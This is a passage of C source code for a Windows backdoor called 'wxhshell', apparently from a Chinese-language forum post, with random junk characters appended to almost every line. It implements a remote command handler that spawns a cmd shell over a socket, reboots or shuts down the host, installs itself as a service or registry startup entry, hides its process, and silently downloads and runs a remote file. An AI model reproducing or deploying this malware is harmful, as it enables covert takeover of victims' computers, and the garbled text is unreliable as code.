  else *5feB#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oqJ Ybim  
  } ,CqWm9  
  else { 83vMj$P  
3x[C pg,  
    switch(cmd[0]) { ,\M77V  
  uBlPwb,V  
  // 帮助 2z-Nw <bA  
  case '?': { `\UY5n72  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d>p' A_  
    break; tj13!Cc}e`  
  } flmQNrC.8  
  // 安装 Fl`U{03  
  case 'i': { MltO.K!  
    if(Install()) eh9 ?GUr5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -#ZLu.  
    else  V9) /  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ VWED  
    break; u9"=t  
    } `DYhGk  
  // 卸载 &E&~9"^hQL  
  case 'r': { b?}mQ!  
    if(Uninstall()) 3x;UAi+&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `>sOOA  
    else 5 bI :xL}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p~w] ~\  
    break;  vD#U+  
    } 6|eqQ+(A  
  // 显示 wxhshell 所在路径 !y d B,S  
  case 'p': { +YvF+E  
    char svExeFile[MAX_PATH]; HP8J\`  
    strcpy(svExeFile,"\n\r"); F!X0Wo=  
      strcat(svExeFile,ExeFile); <U3X4)r  
        send(wsh,svExeFile,strlen(svExeFile),0); P*&[9 )d6  
    break; j.&dHtp  
    } => (g_\  
  // 重启 3'z$@ ;Ev+  
  case 'b': { e}uK"dl(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vqeH<$WHvy  
    if(Boot(REBOOT)) )gdeFA V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c]M+|R5  
    else { lAN&d;NU6Z  
    closesocket(wsh); __ g?xw  
    ExitThread(0); 3'uXU<W!  
    } x {NBhq(4  
    break; !{-W%=Kf  
    } }h^ fX  
  // 关机 MN<LZC% $  
  case 'd': { FDl/7P`b(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IS]A<}j/-  
    if(Boot(SHUTDOWN)) 76w[X=Fv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N?qETp-:  
    else { ":/c|!  
    closesocket(wsh); .:?v;rYk{  
    ExitThread(0); !gkr?yhE  
    } 4V:W 8k 9D  
    break; a[K&;)  
    } 6(QfD](2}  
  // 获取shell LaJvPOQ  
  case 's': { 9Kd=GL_  
    CmdShell(wsh); gCg hWg{S  
    closesocket(wsh); }`w(sec:3  
    ExitThread(0); je mb/ :E  
    break; nuq@m0t\#  
  } #m U\8M,  
  // 退出 % G!!0V!  
  case 'x': { ^ |MS2'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k1z`92"  
    CloseIt(wsh); ya2sS9^T[  
    break; @{@b^tk  
    } $s _k/dM~&  
  // 离开 XNa{_3v  
  case 'q': { }[eUAGhDU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oZ2:%  
    closesocket(wsh); 9y7hJib  
    WSACleanup(); YW7w>}aW  
    exit(1); (3N/DY1/  
    break; ~m fG Yk"  
        } ' wl})  
  } 7FH-l(W  
  } O]XRalkEM  
p.:|Z-W$  
  // 提示信息 ]pm/5|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B*G]Dr)e  
} S5JM t;O  
  } {e&fBX6;  
|r+ x/,2-  
  return; DQ0S]:tC  
} xtGit}  
P'h39XoZ  
// shell模块句柄 gbMA-r:IC  
int CmdShell(SOCKET sock) <Ch9"1f3,  
{ x6K_!L*Fx]  
STARTUPINFO si; FtJaX])b  
ZeroMemory(&si,sizeof(si)); ,xU#uyB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D<v< :  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rZ,qHM  
PROCESS_INFORMATION ProcessInfo; 3\Amj}RJ  
char cmdline[]="cmd"; -$!r+4|q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uyEk1)HC  
  return 0; e_!h>=$%8  
} 9(fh+  
1!1,{\9%  
// 自身启动模式 "L5w]6C4  
int StartFromService(void) 1o5kP,)  
{ [ DpOI  
typedef struct :[l}Bb,  
{ "`K_5"F  
  DWORD ExitStatus; \@PMj"p|:  
  DWORD PebBaseAddress; =9,mt K~  
  DWORD AffinityMask; YAR$6&  
  DWORD BasePriority; Eet/l]e#a  
  ULONG UniqueProcessId; t[k ['<G  
  ULONG InheritedFromUniqueProcessId; 4r;le5@  
}   PROCESS_BASIC_INFORMATION; [e,xC!2  
53/$8=  
PROCNTQSIP NtQueryInformationProcess; oBmv^=cH  
{31X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n jd2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fV9+FOZn  
lYe2;bu  
  HANDLE             hProcess; #l>r9Z71  
  PROCESS_BASIC_INFORMATION pbi; &T-:`(  
bZSt<cH3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @/aJi6d"^E  
  if(NULL == hInst ) return 0; "o%okN  
*} *HXE5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [*K9V/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a%y*e+oM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?b d&Av  
K4Ed]hX  
  if (!NtQueryInformationProcess) return 0; DB"z93Mr<K  
s4 , `  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UptKN|S&V  
  if(!hProcess) return 0; /W>?p@j+K  
k FRVW+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p8]XNe  
[ )X(Qtk  
  CloseHandle(hProcess); O 8l`1  
Hj-n 'XZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %N\45nYU:  
if(hProcess==NULL) return 0; S41S+#7t*  
(CDh,ZN;|  
HMODULE hMod; iMM9a;G+  
char procName[255]; r 'ioH"=  
unsigned long cbNeeded; Y}}1]}VIK  
>]Mhkf/=)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s Wj:m)  
`j2|aX %Z*  
  CloseHandle(hProcess); v*y,PY1*  
M;g"rpM  
if(strstr(procName,"services")) return 1; // 以服务启动 , Sf:R4=  
Ayw {I#"  
  return 0; // 注册表启动 &mJm'Ks  
} DBfq9%J _  
Zz|et206  
// 主模块 mst;q@  
int StartWxhshell(LPSTR lpCmdLine) 6[Mu3.T  
{ BMzS3;1_  
  SOCKET wsl; ;x)f;!e+  
BOOL val=TRUE; it j&L <e  
  int port=0; )x,-O#"A  
  struct sockaddr_in door; >.gT9  
O2Y1D`&5  
  if(wscfg.ws_autoins) Install(); IjPt JwW`A  
%B>>J%  
port=atoi(lpCmdLine); R,hwn2@B  
Zh:@A Fz:R  
if(port<=0) port=wscfg.ws_port; hs)_h^P   
MR":a T  
  WSADATA data; p?s[I)e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  *% ]&5  
;|vn;s/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n7#}i2:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B%co`0$  
  door.sin_family = AF_INET; I~M@v59C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n~yhX%=_Du  
  door.sin_port = htons(port); ti ic>j\D  
)k 6z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p?<T _9e  
closesocket(wsl); GZiN&}5e  
return 1; I!p[:.t7  
} $Ehe8,=fj  
F`f8q\Fc  
  if(listen(wsl,2) == INVALID_SOCKET) { r[&/* ~xL  
closesocket(wsl); H3 |x  
return 1; V(!-xu1,  
} csv;u'  
  Wxhshell(wsl); ?h-:,icR  
  WSACleanup(); YLNJ4nE  
]%6XE)  
return 0; g/z7_Aq/  
X./7b{Pax  
} s+ ]6X*)  
qJJ~#W)  
// 以NT服务方式启动 )cRP6 =  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VL@eR9}9K  
{ $s9YU"  
DWORD   status = 0; >KCnmi  
  DWORD   specificError = 0xfffffff; zqGo7;;#  
T oK'Pd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iy,jq5uw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IaYy5Rw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kKNrCv@64d  
  serviceStatus.dwWin32ExitCode     = 0; iriF'(1  
  serviceStatus.dwServiceSpecificExitCode = 0; E<4'4)FHuQ  
  serviceStatus.dwCheckPoint       = 0; l 1Ns~  
  serviceStatus.dwWaitHint       = 0; D"GQlR  
GPU,.s"&(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `Ct fe8  
  if (hServiceStatusHandle==0) return; r| 0wIpi6Q  
^yVKW5x  
status = GetLastError(); -x0u}I  
  if (status!=NO_ERROR) 3q$"`w  
{ 8\_YP3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i|OG#PsY-  
    serviceStatus.dwCheckPoint       = 0;  C\5"Kb  
    serviceStatus.dwWaitHint       = 0; H6%%n X  
    serviceStatus.dwWin32ExitCode     = status; S,2{^X  
    serviceStatus.dwServiceSpecificExitCode = specificError; t8upS u|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |$.`4h?  
    return; 2:Q2w3Xe  
  } @vkO(o  
)_Wo6l)i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L{AfrgN  
  serviceStatus.dwCheckPoint       = 0; t73" d#+  
  serviceStatus.dwWaitHint       = 0; _|vY)4B 4U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^|ln q.j  
} 9w( Wtw'  
hy{1Ea/T  
// 处理NT服务事件,比如:启动、停止 +*ZF52hy|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4n, >EA85  
{ A1V^Gi@i  
switch(fdwControl) M*lCoJ  
{ 1|/]bffg!c  
case SERVICE_CONTROL_STOP: ntt:>j$  
  serviceStatus.dwWin32ExitCode = 0; "kg;fF|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GYK&QYi,  
  serviceStatus.dwCheckPoint   = 0; 4-veO3&.h  
  serviceStatus.dwWaitHint     = 0; "$rmy>d  
  { [,As;a*o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N@r`+(_t  
  } /r@~"R x'  
  return; wwD?i.3  
case SERVICE_CONTROL_PAUSE: `c%{M4bF\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2qxede  
  break; [$AOu0J  
case SERVICE_CONTROL_CONTINUE: 9s@$P7N5B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;ro%Wjg`}  
  break; v3/l= e?u  
case SERVICE_CONTROL_INTERROGATE: Q% LQP!Kg  
  break; )7}f .  
}; ~Ddlr9Ej  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]'!$T72  
} @Rp#*{  
sbV {RSl  
// 标准应用程序主函数 o+I'nFtnI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t2 0Es  
{ CFyu9Al  
3C7}V{?  
// 获取操作系统版本 nYbI =_-  
OsIsNt=GetOsVer(); %1^E;n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JuTIP6 /G  
S @[B?sNj  
  // 从命令行安装 7r,h[9~e  
  if(strpbrk(lpCmdLine,"iI")) Install(); |VxO ,[~  
}Z Nyd  
  // 下载执行文件 (D1$&  
if(wscfg.ws_downexe) {  %kSpMj|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HyKv5S$  
  WinExec(wscfg.ws_filenam,SW_HIDE); MWZH-aA(.  
} ,J)wn;@  
T\b-<Xle  
if(!OsIsNt) { +4]31d&3  
// 如果时win9x,隐藏进程并且设置为注册表启动 cH>3|B*y  
HideProc(); Xah-*]ET  
StartWxhshell(lpCmdLine); KKJ)BG?qZ  
} `D~wY^q{  
else nTQ&nu!  
  if(StartFromService()) X8Y)5,`s  
  // 以服务方式启动 \PJpy^i  
  StartServiceCtrlDispatcher(DispatchTable); g r[M-U  
else @=G6fW:  
  // 普通方式启动 %=EN 3>,  
  StartWxhshell(lpCmdLine); x}B_;&>&"_  
(HD8Mm  
return 0; S?K x:]  
}
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只看该作者 1 发表于: 2006-10-10
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